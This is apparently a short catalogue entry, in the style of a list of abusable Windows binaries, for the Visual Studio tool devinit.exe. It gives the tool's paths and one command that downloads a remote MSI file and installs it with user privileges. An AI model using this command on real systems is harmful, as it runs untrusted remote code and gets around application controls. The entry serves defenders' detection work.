Devinit.exe

Visual Studio 2019 tool

Paths

  • C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe
  • C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\Tools\devinit\devinit.exe

Commands

Execute

Downloads an MSI file to C:\Windows\Installer and then installs it.

Use case: Executes code from a (remote) MSI file.

Privileges: User

devinit.exe run -t msi-install -i {REMOTEURL:.msi}

Detection

Resources